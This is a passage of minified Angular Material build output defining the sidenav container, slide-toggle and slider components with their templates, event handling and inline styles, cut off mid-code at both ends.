function(X){return(w||(w=s.n5z(P)))(X||P)}}(),P.\\u0275cmp=s.Xpm({type:P,selectors:[["mat-sidenav"]],hostAttrs:["tabIndex","-1",1,"mat-drawer","mat-sidenav"],hostVars:17,hostBindings:function(R,X){2&R&&(s.uIk("align",null),s.Udp("top",X.fixedInViewport?X.fixedTopGap:null,"px")("bottom",X.fixedInViewport?X.fixedBottomGap:null,"px"),s.ekj("mat-drawer-end","end"===X.position)("mat-drawer-over","over"===X.mode)("mat-drawer-push","push"===X.mode)("mat-drawer-side","side"===X.mode)("mat-drawer-opened",X.opened)("mat-sidenav-fixed",X.fixedInViewport))},inputs:{fixedInViewport:"fixedInViewport",fixedTopGap:"fixedTopGap",fixedBottomGap:"fixedBottomGap"},exportAs:["matSidenav"],features:[s.qOj],ngContentSelectors:se,decls:3,vars:0,consts:[["cdkScrollable","",1,"mat-drawer-inner-container"],["content",""]],template:function(R,X){1&R&&(s.F$t(),s.TgZ(0,"div",0,1),s.Hsn(2),s.qZA())},dependencies:[n.PQ],encapsulation:2,data:{animation:[qe.transformDrawer]},changeDetection:0}),P})(),Be=(()=>{class P extends ve{}return P.\\u0275fac=function(){let w;return function(X){return(w||(w=s.n5z(P)))(X||P)}}(),P.\\u0275cmp=s.Xpm({type:P,selectors:[["mat-sidenav-container"]],contentQueries:function(R,X,_e){if(1&R&&(s.Suo(_e,We,5),s.Suo(_e,xt,5)),2&R){let ct;s.iGM(ct=s.CRH())&&(X._content=ct.first),s.iGM(ct=s.CRH())&&(X._allDrawers=ct)}},hostAttrs:[1,"mat-drawer-container","mat-sidenav-container"],hostVars:2,hostBindings:function(R,X){2&R&&s.ekj("mat-drawer-container-explicit-backdrop",X._backdropOverride)},exportAs:["matSidenavContainer"],features:[s._Bn([{provide:bt,useExisting:P}]),s.qOj],ngContentSelectors:Qe,decls:4,vars:2,consts:[["class","mat-drawer-backdrop",3,"mat-drawer-shown","click",4,"ngIf"],[4,"ngIf"],[1,"mat-drawer-backdrop",3,"click"]],template:function(R,X){1&R&&(s.F$t(Oe),s.YNc(0,Ze,1,2,"div",0),s.Hsn(1),s.Hsn(2,1),s.YNc(3,le,2,0,"mat-sidenav-content",1)),2&R&&(s.Q6J("ngIf",X.hasBackdrop),s.xp6(3),s.Q6J("ngIf",!X._content))},dependencies:[a.O5,We],styles:[\'.mat-drawer-container{position:relative;z-index:1;box-sizing:border-box;-webkit-overflow-scrolling:touch;display:block;overflow:hidden}.mat-drawer-container[fullscreen]{top:0;left:0;right:0;bottom:0;position:absolute}.mat-drawer-container[fullscreen].mat-drawer-container-has-open{overflow:hidden}.mat-drawer-container.mat-drawer-container-explicit-backdrop .mat-drawer-side{z-index:3}.mat-drawer-container.ng-animate-disabled .mat-drawer-backdrop,.mat-drawer-container.ng-animate-disabled .mat-drawer-content,.ng-animate-disabled .mat-drawer-container .mat-drawer-backdrop,.ng-animate-disabled .mat-drawer-container .mat-drawer-content{transition:none}.mat-drawer-backdrop{top:0;left:0;right:0;bottom:0;position:absolute;display:block;z-index:3;visibility:hidden}.mat-drawer-backdrop.mat-drawer-shown{visibility:visible}.mat-drawer-transition .mat-drawer-backdrop{transition-duration:400ms;transition-timing-function:cubic-bezier(0.25, 0.8, 0.25, 1);transition-property:background-color,visibility}.cdk-high-contrast-active .mat-drawer-backdrop{opacity:.5}.mat-drawer-content{position:relative;z-index:1;display:block;height:100%;overflow:auto}.mat-drawer-transition .mat-drawer-content{transition-duration:400ms;transition-timing-function:cubic-bezier(0.25, 0.8, 0.25, 1);transition-property:transform,margin-left,margin-right}.mat-drawer{position:relative;z-index:4;display:block;position:absolute;top:0;bottom:0;z-index:3;outline:0;box-sizing:border-box;overflow-y:auto;transform:translate3d(-100%, 0, 0)}.cdk-high-contrast-active .mat-drawer,.cdk-high-contrast-active [dir=rtl] .mat-drawer.mat-drawer-end{border-right:solid 1px currentColor}.cdk-high-contrast-active [dir=rtl] .mat-drawer,.cdk-high-contrast-active .mat-drawer.mat-drawer-end{border-left:solid 1px currentColor;border-right:none}.mat-drawer.mat-drawer-side{z-index:2}.mat-drawer.mat-drawer-end{right:0;transform:translate3d(100%, 0, 0)}[dir=rtl] .mat-drawer{transform:translate3d(100%, 0, 0)}[dir=rtl] .mat-drawer.mat-drawer-end{left:0;right:auto;transform:translate3d(-100%, 0, 0)}.mat-drawer[style*="visibility: hidden"]{display:none}.mat-drawer-inner-container{width:100%;height:100%;overflow:auto;-webkit-overflow-scrolling:touch}.mat-sidenav-fixed{position:fixed}\'],encapsulation:2,changeDetection:0}),P})(),pe=(()=>{class P{}return P.\\u0275fac=function(R){return new(R||P)},P.\\u0275mod=s.oAB({type:P}),P.\\u0275inj=s.cJS({imports:[a.ez,u.BQ,n.ZD,n.ZD,u.BQ]}),P})()},455:(At,ae,d)=>{"use strict";d.d(ae,{Rr:()=>G,rP:()=>k});var n=d(9643),a=d(4650),s=d(3238),u=d(2687),c=d(1281),f=d(4006);const E=["input"],_=function(K){return{enterDuration:K}},S=["*"],g=new a.OlP("mat-slide-toggle-default-options",{providedIn:"root",factory:()=>({disableToggleValue:!1})});let C=0;const z={provide:f.JU,useExisting:(0,a.Gpc)(()=>G),multi:!0};class H{constructor(se,ee){this.source=se,this.checked=ee}}const j=(0,s.sb)((0,s.pj)((0,s.Kr)((0,s.Id)(class{constructor(K){this._elementRef=K}}))));let U=(()=>{class K extends j{constructor(ee,q,we,ce,je,Ze,le){super(ee),this._focusMonitor=q,this._changeDetectorRef=we,this.defaults=je,this._onChange=Oe=>{},this._onTouched=()=>{},this._required=!1,this._checked=!1,this.name=null,this.labelPosition="after",this.ariaLabel=null,this.ariaLabelledby=null,this.change=new a.vpe,this.toggleChange=new a.vpe,this.tabIndex=parseInt(ce)||0,this.color=this.defaultColor=je.color||"accent",this._noopAnimations="NoopAnimations"===Ze,this.id=this._uniqueId=`${le}${++C}`}get required(){return this._required}set required(ee){this._required=(0,c.Ig)(ee)}get checked(){return this._checked}set checked(ee){this._checked=(0,c.Ig)(ee),this._changeDetectorRef.markForCheck()}get inputId(){return`${this.id||this._uniqueId}-input`}ngAfterContentInit(){this._focusMonitor.monitor(this._elementRef,!0).subscribe(ee=>{"keyboard"===ee||"program"===ee?this._focused=!0:ee||Promise.resolve().then(()=>{this._focused=!1,this._onTouched(),this._changeDetectorRef.markForCheck()})})}ngOnDestroy(){this._focusMonitor.stopMonitoring(this._elementRef)}writeValue(ee){this.checked=!!ee}registerOnChange(ee){this._onChange=ee}registerOnTouched(ee){this._onTouched=ee}setDisabledState(ee){this.disabled=ee,this._changeDetectorRef.markForCheck()}toggle(){this.checked=!this.checked,this._onChange(this.checked)}_emitChangeEvent(){this._onChange(this.checked),this.change.emit(this._createChangeEvent(this.checked))}}return K.\\u0275fac=function(ee){a.$Z()},K.\\u0275dir=a.lG2({type:K,inputs:{name:"name",id:"id",labelPosition:"labelPosition",ariaLabel:["aria-label","ariaLabel"],ariaLabelledby:["aria-labelledby","ariaLabelledby"],ariaDescribedby:["aria-describedby","ariaDescribedby"],required:"required",checked:"checked"},outputs:{change:"change",toggleChange:"toggleChange"},features:[a.qOj]}),K})(),G=(()=>{class K extends U{constructor(ee,q,we,ce,je,Ze){super(ee,q,we,ce,je,Ze,"mat-slide-toggle-")}_createChangeEvent(ee){return new H(this,ee)}_onChangeEvent(ee){ee.stopPropagation(),this.toggleChange.emit(),this.defaults.disableToggleValue?this._inputElement.nativeElement.checked=this.checked:(this.checked=this._inputElement.nativeElement.checked,this._emitChangeEvent())}_onInputClick(ee){ee.stopPropagation()}focus(ee,q){q?this._focusMonitor.focusVia(this._inputElement,q,ee):this._inputElement.nativeElement.focus(ee)}_onLabelTextChange(){this._changeDetectorRef.detectChanges()}}return K.\\u0275fac=function(ee){return new(ee||K)(a.Y36(a.SBq),a.Y36(u.tE),a.Y36(a.sBO),a.$8M("tabindex"),a.Y36(g),a.Y36(a.QbO,8))},K.\\u0275cmp=a.Xpm({type:K,selectors:[["mat-slide-toggle"]],viewQuery:function(ee,q){if(1&ee&&a.Gf(E,5),2&ee){let we;a.iGM(we=a.CRH())&&(q._inputElement=we.first)}},hostAttrs:[1,"mat-slide-toggle"],hostVars:13,hostBindings:function(ee,q){2&ee&&(a.Ikx("id",q.id),a.uIk("tabindex",null)("aria-label",null)("aria-labelledby",null)("name",null),a.ekj("mat-checked",q.checked)("mat-disabled",q.disabled)("mat-slide-toggle-label-before","before"==q.labelPosition)("_mat-animation-noopable",q._noopAnimations))},inputs:{disabled:"disabled",disableRipple:"disableRipple",color:"color",tabIndex:"tabIndex"},exportAs:["matSlideToggle"],features:[a._Bn([z]),a.qOj],ngContentSelectors:S,decls:14,vars:20,consts:[[1,"mat-slide-toggle-label"],["label",""],[1,"mat-slide-toggle-bar"],["type","checkbox","role","switch",1,"mat-slide-toggle-input","cdk-visually-hidden",3,"id","required","tabIndex","checked","disabled","change","click"],["input",""],[1,"mat-slide-toggle-thumb-container"],[1,"mat-slide-toggle-thumb"],["mat-ripple","",1,"mat-slide-toggle-ripple","mat-focus-indicator",3,"matRippleTrigger","matRippleDisabled","matRippleCentered","matRippleRadius","matRippleAnimation"],[1,"mat-ripple-element","mat-slide-toggle-persistent-ripple"],[1,"mat-slide-toggle-content",3,"cdkObserveContent"],["labelContent",""],[2,"display","none"]],template:function(ee,q){if(1&ee&&(a.F$t(),a.TgZ(0,"label",0,1)(2,"span",2)(3,"input",3,4),a.NdJ("change",function(ce){return q._onChangeEvent(ce)})("click",function(ce){return q._onInputClick(ce)}),a.qZA(),a.TgZ(5,"span",5),a._UZ(6,"span",6),a.TgZ(7,"span",7),a._UZ(8,"span",8),a.qZA()()(),a.TgZ(9,"span",9,10),a.NdJ("cdkObserveContent",function(){return q._onLabelTextChange()}),a.TgZ(11,"span",11),a._uU(12,"\\xa0"),a.qZA(),a.Hsn(13),a.qZA()()),2&ee){const we=a.MAs(1),ce=a.MAs(10);a.uIk("for",q.inputId),a.xp6(2),a.ekj("mat-slide-toggle-bar-no-side-margin",!ce.textContent||!ce.textContent.trim()),a.xp6(1),a.Q6J("id",q.inputId)("required",q.required)("tabIndex",q.tabIndex)("checked",q.checked)("disabled",q.disabled),a.uIk("name",q.name)("aria-checked",q.checked)("aria-label",q.ariaLabel)("aria-labelledby",q.ariaLabelledby)("aria-describedby",q.ariaDescribedby),a.xp6(4),a.Q6J("matRippleTrigger",we)("matRippleDisabled",q.disableRipple||q.disabled)("matRippleCentered",!0)("matRippleRadius",20)("matRippleAnimation",a.VKq(18,_,q._noopAnimations?0:150))}},dependencies:[s.wG,n.wD],styles:[\'.mat-slide-toggle{display:inline-block;height:24px;max-width:100%;line-height:24px;white-space:nowrap;outline:none;-webkit-tap-highlight-color:rgba(0,0,0,0)}.mat-slide-toggle.mat-checked .mat-slide-toggle-thumb-container{transform:translate3d(16px, 0, 0)}[dir=rtl] .mat-slide-toggle.mat-checked .mat-slide-toggle-thumb-container{transform:translate3d(-16px, 0, 0)}.mat-slide-toggle.mat-disabled{opacity:.38}.mat-slide-toggle.mat-disabled .mat-slide-toggle-label,.mat-slide-toggle.mat-disabled .mat-slide-toggle-thumb-container{cursor:default}.mat-slide-toggle-label{-webkit-user-select:none;user-select:none;display:flex;flex:1;flex-direction:row;align-items:center;height:inherit;cursor:pointer}.mat-slide-toggle-content{white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.mat-slide-toggle-label-before .mat-slide-toggle-label{order:1}.mat-slide-toggle-label-before .mat-slide-toggle-bar{order:2}[dir=rtl] .mat-slide-toggle-label-before .mat-slide-toggle-bar,.mat-slide-toggle-bar{margin-right:8px;margin-left:0}[dir=rtl] .mat-slide-toggle-bar,.mat-slide-toggle-label-before .mat-slide-toggle-bar{margin-left:8px;margin-right:0}.mat-slide-toggle-bar-no-side-margin{margin-left:0;margin-right:0}.mat-slide-toggle-thumb-container{position:absolute;z-index:1;width:20px;height:20px;top:-3px;left:0;transform:translate3d(0, 0, 0);transition:all 80ms linear;transition-property:transform}._mat-animation-noopable .mat-slide-toggle-thumb-container{transition:none}[dir=rtl] .mat-slide-toggle-thumb-container{left:auto;right:0}.mat-slide-toggle-thumb{height:20px;width:20px;border-radius:50%;display:block}.mat-slide-toggle-bar{position:relative;width:36px;height:14px;flex-shrink:0;border-radius:8px}.mat-slide-toggle-input{bottom:0;left:10px}[dir=rtl] .mat-slide-toggle-input{left:auto;right:10px}.mat-slide-toggle-bar,.mat-slide-toggle-thumb{transition:all 80ms linear;transition-property:background-color;transition-delay:50ms}._mat-animation-noopable .mat-slide-toggle-bar,._mat-animation-noopable .mat-slide-toggle-thumb{transition:none}.mat-slide-toggle .mat-slide-toggle-ripple{position:absolute;top:calc(50% - 20px);left:calc(50% - 20px);height:40px;width:40px;z-index:1;pointer-events:none}.mat-slide-toggle .mat-slide-toggle-ripple .mat-ripple-element:not(.mat-slide-toggle-persistent-ripple){opacity:.12}.mat-slide-toggle-persistent-ripple{width:100%;height:100%;transform:none}.mat-slide-toggle-bar:hover .mat-slide-toggle-persistent-ripple{opacity:.04}.mat-slide-toggle:not(.mat-disabled).cdk-keyboard-focused .mat-slide-toggle-persistent-ripple{opacity:.12}.mat-slide-toggle-persistent-ripple,.mat-slide-toggle.mat-disabled .mat-slide-toggle-bar:hover .mat-slide-toggle-persistent-ripple{opacity:0}@media(hover: none){.mat-slide-toggle-bar:hover .mat-slide-toggle-persistent-ripple{display:none}}.mat-slide-toggle-input:focus~.mat-slide-toggle-thumb-container .mat-focus-indicator::before{content:""}.cdk-high-contrast-active .mat-slide-toggle-thumb,.cdk-high-contrast-active .mat-slide-toggle-bar{border:1px solid}\'],encapsulation:2,changeDetection:0}),K})(),Ce=(()=>{class K{}return K.\\u0275fac=function(ee){return new(ee||K)},K.\\u0275mod=a.oAB({type:K}),K.\\u0275inj=a.cJS({}),K})(),k=(()=>{class K{}return K.\\u0275fac=function(ee){return new(ee||K)},K.\\u0275mod=a.oAB({type:K}),K.\\u0275inj=a.cJS({imports:[Ce,s.si,s.BQ,n.Q8,Ce,s.BQ]}),K})()},7314:(At,ae,d)=>{"use strict";d.d(ae,{KP:()=>ce,pH:()=>k});var n=d(6895),a=d(4650),s=d(3238),u=d(2687),c=d(445),f=d(1281),E=d(9521),_=d(4006),S=d(3353),g=d(2654);const C=["sliderWrapper"],z=(0,S.i$)({passive:!1}),Q={provide:_.JU,useExisting:(0,a.Gpc)(()=>k),multi:!0};class oe{}const Ce=(0,s.sb)((0,s.pj)((0,s.Id)(class{constructor(je){this._elementRef=je}}),"accent"));let k=(()=>{class je extends Ce{constructor(le,Oe,Qe,Ye,qe,Ke,dt,bt){super(le),this._focusMonitor=Oe,this._changeDetectorRef=Qe,this._dir=Ye,this._ngZone=Ke,this._animationMode=bt,this._invert=!1,this._max=100,this._min=0,this._step=1,this._thumbLabel=!1,this._tickInterval=0,this._value=null,this._vertical=!1,this.change=new a.vpe,this.input=new a.vpe,this.valueChange=new a.vpe,this.onTouched=()=>{},this._percent=0,this._isSliding=null,this._isActive=!1,this._tickIntervalPercent=0,this._sliderDimensions=null,this._controlValueAccessorChangeFn=()=>{},this._dirChangeSubscription=g.w.EMPTY,this._pointerDown=ze=>{this.disabled||this._isSliding||!se(ze)&&0!==ze.button||this._ngZone.run(()=>{this._touchId=se(ze)?function we(je,Ze){for(let le=0;le<je.touches.length;le++){const Oe=je.touches[le].target;if(Ze===Oe||Ze.contains(Oe))return je.touches[le].identifier}}(ze,this._elementRef.nativeElement):void 0;const De=ee(ze,this._touchId);if(De){const re=this.value;this._isSliding="pointer",this._lastPointerEvent=ze,this._focusHostElement(),this._onMouseenter(),this._bindGlobalEvents(ze),this._focusHostElement(),this._updateValueFromPosition(De),this._valueOnSlideStart=re,ze.cancelable&&ze.preventDefault(),re!=this.value&&this._emitInputEvent()}})},this._pointerMove=ze=>{if("pointer"===this._isSliding){const De=ee(ze,this._touchId);if(De){ze.cancelable&&ze.preventDefault();const re=this.value;this._lastPointerEvent=ze,this._updateValueFromPosition(De),re!=this.value&&this._emitInputEvent()}}},this._pointerUp=ze=>{"pointer"===this._isSliding&&(!se(ze)||"number"!=typeof this._touchId||q(ze.changedTouches,this._touchId))&&(ze.cancelable&&ze.preventDefault(),this._removeGlobalEvents(),this._isSliding=null,this._touchId=void 0,this._valueOnSlideStart!=this.value&&!this.disabled&&this._emitChangeEvent(),this._valueOnSlideStart=this._lastPointerEvent=null)},this._windowBlur=()=>{this._lastPointerEvent&&this._pointerUp(this._lastPointerEvent)},this._document=dt,this.tabIndex=parseInt(qe)||0,Ke.runOutsideAngular(()=>{const ze=le.nativeElement;ze.addEventListener("mousedown",this._pointerDown,z),ze.addEventListener("touchstart",this._pointerDown,z)})}get invert(){return this._invert}set invert(le){this._invert=(0,f.Ig)(le)}get max(){return this._max}set max(le){this._max=(0,f.su)(le,this._max),this._percent=this._calculatePercentage(this._value),this._changeDetectorRef.markForCheck()}get min(){return this._min}set min(le){this._min=(0,f.su)(le,this._min),this._percent=this._calculatePercentage(this._value),this._changeDetectorRef.markForCheck()}get step(){return this._step}set step(le){this._step=(0,f.su)(le,this._step),this._step%1!=0&&(this._roundToDecimal=this._step.toString().split(".").pop().length),this._changeDetectorRef.markForCheck()}get thumbLabel(){return this._thumbLabel}set thumbLabel(le){this._thumbLabel=(0,f.Ig)(le)}get tickInterval(){return this._tickInterval}set tickInterval(le){this._tickInterval="auto"===le?"auto":"number"==typeof le||"string"==typeof le?(0,f.su)(le,this._tickInterval):0}get value(){return null===this._value&&(this.value=this._min),this._value}set value(le){if(le!==this._value){let Oe=(0,f.su)(le,0);this._roundToDecimal&&Oe!==this.min&&Oe!==this.max&&(Oe=parseFloat(Oe.toFixed(this._roundToDecimal))),this._value=Oe,this._percent=this._calculatePercentage(this._value),this._changeDetectorRef.markForCheck()}}get vertical(){return this._vertical}set vertical(le){this._vertical=(0,f.Ig)(le)}get displayValue(){return this.displayWith?this.displayWith(this.value):this._roundToDecimal&&this.value&&this.value%1!=0?this.value.toFixed(this._roundToDecimal):this.value||0}focus(le){this._focusHostElement(le)}blur(){this._blurHostElement()}get percent(){return this._clamp(this._percent)}_shouldInvertAxis(){return this.vertical?!this.invert:this.invert}_isMinValue(){return 0===this.percent}_getThumbGap(){return this.disabled?7:this._isMinValue()&&!this.thumbLabel?this._isActive?10:7:0}_getTrackBackgroundStyles(){const Oe=this.vertical?`1, ${1-this.percent}, 1`:1-this.percent+", 1, 1";return{transform:`translate${this.vertical?"Y":"X"}(${this._shouldInvertMouseCoords()?"-":""}${this._getThumbGap()}px) scale3d(${Oe})`}}_getTrackFillStyles(){const le=this.percent,Qe=this.vertical?`1, ${le}, 1`:`${le}, 1, 1`;return{transform:`translate${this.vertical?"Y":"X"}(${this._shouldInvertMouseCoords()?"":"-"}${this._getThumbGap()}px) scale3d(${Qe})`,display:0===le?"none":""}}_getTicksContainerStyles(){return{transform:`translate${this.vertical?"Y":"X"}(${this.vertical||"rtl"!=this._getDirection()?"-":""}${this._tickIntervalPercent/2*100}%)`}}_getTicksStyles(){let le=100*this._tickIntervalPercent,Ke={backgroundSize:this.vertical?`2px ${le}%`:`${le}% 2px`,transform:`translateZ(0) translate${this.vertical?"Y":"X"}(${this.vertical||"rtl"!=this._getDirection()?"":"-"}${le/2}%)${this.vertical||"rtl"!=this._getDirection()?"":" rotate(180deg)"}`};if(this._isMinValue()&&this._getThumbGap()){const dt=this._shouldInvertAxis();let bt;bt=this.vertical?dt?"Bottom":"Top":dt?"Right":"Left",Ke[`padding${bt}`]=`${this._getThumbGap()}px`}return Ke}_getThumbContainerStyles(){const le=this._shouldInvertAxis();return{transform:`translate${this.vertical?"Y":"X"}(-${100*(("rtl"!=this._getDirection()||this.vertical?le:!le)?this.percent:1-this.percent)}%)`}}_shouldInvertMouseCoords(){const le=this._shouldInvertAxis();return"rtl"!=this._getDirection()||this.vertical?le:!le}_getDirection(){return this._dir&&"rtl"==this._dir.value?"rtl":"ltr"}ngAfterViewInit(){this._focusMonitor.monitor(this._elementRef,!0).subscribe(le=>{this._isActive=!!le&&"keyboard"!==le,this._changeDetectorRef.detectChanges()}),this._dir&&(this._dirChangeSubscription=this._dir.change.subscribe(()=>{this._changeDetectorRef.markForCheck()}))}ngOnDestroy(){const le=this._elementRef.nativeElement;le.removeEventListener("mousedown",this._pointerDown,z),le.removeEventListener("touchstart",this._pointerDown,z),this._lastPointerEvent=null,this._removeGlobalEvents(),this._focusMonitor.stopMonitoring(this._elementRef),this._dirChangeSubscription.unsubscribe()}_onMouseenter(){this.disabled||(this._sliderDimensions=this._getSliderDimensions(),this._updateTickIntervalPercent())}_onFocus(){this._sliderDimensions=this._getSliderDimensions(),this._updateTickIntervalPercent()}_onBlur(){this.onTouched()}_onKeydown(le){if(this.disabled||(0,E.Vb)(le)||this._isSliding&&"keyboard"!==this._isSliding)return;const Oe=this.value;switch(le.keyCode){case E.Ku:this._increment(10);break;case E.VM:this._increment(-10);break;case E.uR:this.value=this.max;break;case E.Sd:this.value=this.min;break;case E.oh:this._increment("rtl"==this._getDirection()?1:-1);break;case E.LH:this._increment(1);break;case E.SV:this._increment("rtl"==this._getDirection()?-1:1);break;case E.JH:this._increment(-1);break;default:return}Oe!=this.value&&(this._emitInputEvent(),this._emitChangeEvent()),this._isSliding="keyboard",le.preventDefault()}_onKeyup(){"keyboard"===this._isSliding&&(this._isSliding=null)}_getWindow(){return this._document.defaultView||window}_bindGlobalEvents(le){const Oe=this._document,Qe=se(le),qe=Qe?"touchend":"mouseup";Oe.addEventListener(Qe?"touchmove":"mousemove",this._pointerMove,z),Oe.addEventListener(qe,this._pointerUp,z),Qe&&Oe.addEventListener("touchcancel",this._pointerUp,z);const Ke=this._getWindow();typeof Ke<"u"&&Ke&&Ke.addEventListener("blur",this._windowBlur)}_removeGlobalEvents(){const le=this._document;le.removeEventListener("mousemove",this._pointerMove,z),le.removeEventListener("mouseup",this._pointerUp,z),le.removeEventListener("touchmove",this._pointerMove,z),le.removeEventListener("touchend",this._pointerUp,z),le.removeEventListener("touchcancel",this._pointerUp,z);const Oe=this._getWindow();typeof Oe<"u"&&Oe&&Oe.removeEventListener("blur",this._windowBlur)}_increment(le){const Oe=this._clamp(this.value||0,this.min,this.max);this.value=this._clamp(Oe+this.step*le,this.min,this.max)}_updateValueFromPosition(le){if(!this._sliderDimensions)return;let qe=this._clamp(((this.vertical?le.y:le.x)-(this.vertical?this._sliderDimensions.top:this._sliderDimensions.left))/(this.vertical?this._sliderDimensions.height:this._sliderDimensions.width));if(this._shouldInvertMouseCoords()&&(qe=1-qe),0===qe)this.value=this.min;else if(1===qe)this.value=this.max;else{const Ke=this._calculateValue(qe),dt=Math.round((Ke-this.min)/this.step)*this.step+this.min;this.value=this._clamp(dt,this.min,this.max)}}_emitChangeEvent(){this._controlValueAccessorChangeFn(this.value),this.valueChange.emit(this.value),this.change.emit(this._createChangeEvent())}_emitInputEvent(){this.input.emit(this._createChangeEvent())}_updateTickIntervalPercent(){if(!this.tickInterval||!this._sliderDimensions)return;let le;if("auto"==this.tickInterval){let Oe=this.vertical?this._sliderDimensions.height:this._sliderDimensions.width;le=Math.ceil(30/(Oe*this.step/(this.max-this.min)))*this.step/Oe}else le=this.tickInterval*this.step/(this.max-this.min);this._tickIntervalPercent=K(le)?le:0}_createChangeEvent(le=this.value){let Oe=new oe;return Oe.source=this,Oe.value=le,Oe}_calculatePercentage(le){const Oe=((le||0)-this.min)/(this.max-this.min);return K(Oe)?Oe:0}_calculateValue(le){return this.min+le*(this.max-this.min)}_clamp(le,Oe=0,Qe=1){return Math.max(Oe,Math.min(le,Qe))}_getSliderDimensions(){return this._sliderWrapper?this._sliderWrapper.nativeElement.getBoundingClientRect():null}_focusHostElement(le){this._elementRef.nativeElement.focus(le)}_blurHostElement(){this._elementRef.nativeElement.blur()}writeValue(le){this.value=le}registerOnChange(le){this._controlValueAccessorChangeFn=le}registerOnTouched(le){this.onTouched=le}setDisabledState(le){this.disabled=le}}return je.\\u0275fac=function(le){return new(le||je)(a.Y36(a.SBq),a.Y36(u.tE),a.Y36(a.sBO),a.Y36(c.Is,8),a.$8M("tabindex"),a.Y36(a.R0b),a.Y36(n.K0),a.Y36(a.QbO,8))},je.\\u0275cmp=a.Xpm({type:je,selectors:[["mat-slider"]],viewQuery:function(le,Oe){if(1&le&&a.Gf(C,5),2&le){let Qe;a.iGM(Qe=a.CRH())&&(Oe._sliderWrapper=Qe.first)}},hostAttrs:["role","slider",1,"mat-slider","mat-focus-indicator"],hostVars:29,hostBindings:function(le,Oe){1&le&&a.NdJ("focus",function(){return Oe._onFocus()})("blur",function(){return Oe._onBlur()})("keydown",function(Ye){return Oe._onKeydown(Ye)})("keyup",function(){return Oe._onKeyup()})("mouseenter",function(){return Oe._onMouseenter()})("selectstart",function(Ye){return Ye.preventDefault()}),2&le&&(a.Ikx("tabIndex",Oe.tabIndex),a.uIk("aria-disabled",Oe.disabled)("aria-valuemax",Oe.max)("aria-valuemin",Oe.min)("aria-valuenow",Oe.value)("aria-valuetext",null==Oe.valueText?Oe.displayValue:Oe.valueText)("aria-orientation",Oe.vertical?"vertical":"horizontal"),a.ekj("mat-slider-disabled",Oe.disabled)("mat-slider-has-ticks",Oe.tickInterval)("mat-slider-horizontal",!Oe.vertical)("mat-slider-axis-inverted",Oe._shouldInvertAxis())("mat-slider-invert-mouse-coords",Oe._shouldInvertMouseCoords())("mat-slider-sliding",Oe._isSliding)("mat-slider-thumb-label-showing",Oe.thumbLabel)("mat-slider-vertical",Oe.vertical)("mat-slider-min-value",Oe._isMinValue())("mat-slider-hide-last-tick",Oe.disabled||Oe._isMinValue()&&Oe._getThumbGap()&&Oe._shouldInvertAxis())("_mat-animation-noopable","NoopAnimations"===Oe._animationMode))},inputs:{disabled:"disabled",color:"color",tabIndex:"tabIndex",invert:"invert",max:"max",min:"min",step:"step",thumbLabel:"thumbLabel",tickInterval:"tickInterval",value:"value",displayWith:"displayWith",valueText:"valueText",vertical:"vertical"},outputs:{change:"change",input:"input",valueChange:"valueChange"},exportAs:["matSlider"],features:[a._Bn([Q]),a.qOj],decls:13,vars:6,consts:[[1,"mat-slider-wrapper"],["sliderWrapper",""],[1,"mat-slider-track-wrapper"],[1,"mat-slider-track-background",3,"ngStyle"],[1,"mat-slider-track-fill",3,"ngStyle"],[1,"mat-slider-ticks-container",3,"ngStyle"],[1,"mat-slider-ticks",3,"ngStyle"],[1,"mat-slider-thumb-container",3,"ngStyle"],[1,"mat-slider-focus-ring"],[1,"mat-slider-thumb"],[1,"mat-slider-thumb-label"],[1,"mat-slider-thumb-label-text"]],template:function(le,Oe){1&le&&(a.TgZ(0,"div",0,1)(2,"div",2),a._UZ(3,"div",3)(4,"div",4),a.qZA(),a.TgZ(5,"div",5),a._UZ(6,"div",6),a.qZA(),a.TgZ(7,"div",7),a._UZ(8,"div",8)(9,"div",9),a.TgZ(10,"div",10)(11,"span",11),a._uU(12),a.qZA()()()()),2&le&&(a.xp6(3),a.Q6J("ngStyle",Oe._getTrackBackgroundStyles()),a.xp6(1),a.Q6J("ngStyle",Oe._getTrackFillStyles()),a.xp6(1),a.Q6J("ngStyle",Oe._getTicksContainerStyles()),a.xp6(1),a.Q6J("ngStyle",Oe._getTicksStyles()),a.xp6(1),a.Q6J("ngStyle",Oe._getThumbContainerStyles()),a.xp6(5),a.Oqu(Oe.displayValue))},dependencies:[n.PC],styles:[\'.mat-slider{display:inline-block;position:relative;box-sizing:border-box;padding:8px;outline:none;vertical-align:middle}.mat-slider:not(.mat-slider-disabled):active,.mat-slider.mat-slider-sliding:not(.mat-slider-disabled){cursor:grabbing}.mat-slider-wrapper{-webkit-print-color-adjust:exact;color-adjust:exact;position:absolute}.mat-slider-track-wrapper{position:absolute;top:0;left:0;overflow:hidden}.mat-slider-track-fill{position:absolute;transform-origin:0 0;transition:transform 400ms cubic-bezier(0.25, 0.8, 0.25, 1),background-color 400ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-slider-track-background{position:absolute;transform-origin:100% 100%;transition:transform 400ms cubic-bezier(0.25, 0.8, 0.25, 1),background-color 400ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-slider-ticks-container{position:absolute;left:0;top:0;overflow:hidden}.mat-slider-ticks{-webkit-background-clip:content-box;background-clip:content-box;background-repeat:repeat;box-sizing:border-box;opacity:0;transition:opacity 400ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-slider-thumb-container{position:absolute;z-index:1;transition:transform 400ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-slider-focus-ring{position:absolute;width:30px;height:30px;border-radius:50%;transform:scale(0);opacity:0;transition:transform 400ms cubic-bezier(0.25, 0.8, 0.25, 1),background-color 400ms cubic-bezier(0.25, 0.8, 0.25, 1),opacity 400ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-slider.cdk-keyboard-focused .mat-slider-focus-ring,.mat-slider.cdk-program-focused .mat-slider-focus-ring{transform:scale(1);opacity:1}.mat-slider:not(.mat-slider-disabled):not(.mat-slider-sliding) .mat-slider-thumb-label,.mat-slider:not(.mat-slider-disabled):not(.mat-slider-sliding) .mat-slider-thumb{cursor:grab}.mat-slider-thumb{position:absolute;right:-10px;bottom:-10px;box-sizing:border-box;width:20px;height:20px;border:3px solid rgba(0,0,0,0);border-radius:50%;transform:scale(0.7);transition:transform 400ms cubic-bezier(0.25, 0.8, 0.25, 1),background-color 400ms cubic-bezier(0.25, 0.8, 0.25, 1),border-color 400ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-slider-thumb-label{display:none;align-items:center;justify-content:center;position:absolute;width:28px;height:28px;border-radius:50%;transition:transform 400ms 